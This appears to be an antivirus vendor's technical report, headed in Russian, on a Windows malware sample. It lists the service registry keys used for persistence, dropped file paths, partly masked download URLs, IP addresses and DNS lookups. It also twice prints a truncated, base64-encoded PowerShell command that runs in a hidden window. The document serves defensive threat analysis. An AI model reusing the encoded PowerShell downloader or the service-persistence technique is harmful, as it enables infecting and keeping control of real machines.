Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\d3dx9_32] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\d3dx9_32] 'ImagePath' = '"%WINDIR%\SysWOW64\kbdgeoqw\d3dx9_32.exe"'
- 'd3dx9_32' "%WINDIR%\SysWOW64\kbdgeoqw\d3dx9_32.exe"
- 'd3dx9_32' %WINDIR%\SysWOW64\kbdgeoqw\d3dx9_32.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABEAHcAdgBnAG4ANQBfAD0AKAAnAFkAawAnACsAKAAnADYAJwArACcAbQBrADgAaAAnACkAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBTAGUAcgBQAHIATwBmAGkATABFAFwARQBNAGsAcg...
- %HOMEPATH%\emkrelk\tg80ur1\vvvqdm2.exe
- %WINDIR%\syswow64\kbdgeoqw\d3dx9_32.exe
- %HOMEPATH%\emkrelk\tg80ur1\vvvqdm2.exe в %WINDIR%\syswow64\kbdgeoqw\d3dx9_32.exe
- '75.#0.124.4':80
- http://lu##eri.com/wp-includes/T1mrkC/
- http://75.#0.124.4/2pxUv/5sDWN31MoCMB/
- DNS ASK ho####.xiaopbk.com
- DNS ASK gu###galami.com
- DNS ASK we#####ingsrilanka.info
- DNS ASK lu##eri.com
- '%HOMEPATH%\emkrelk\tg80ur1\vvvqdm2.exe'
- '%WINDIR%\syswow64\kbdgeoqw\d3dx9_32.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABEAHcAdgBnAG4ANQBfAD0AKAAnAFkAawAnACsAKAAnADYAJwArACcAbQBrADgAaAAnACkAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBTAGUAcgBQAHIATwBmAGkATABFAFwARQBNAGsAcg...' (со скрытым окном)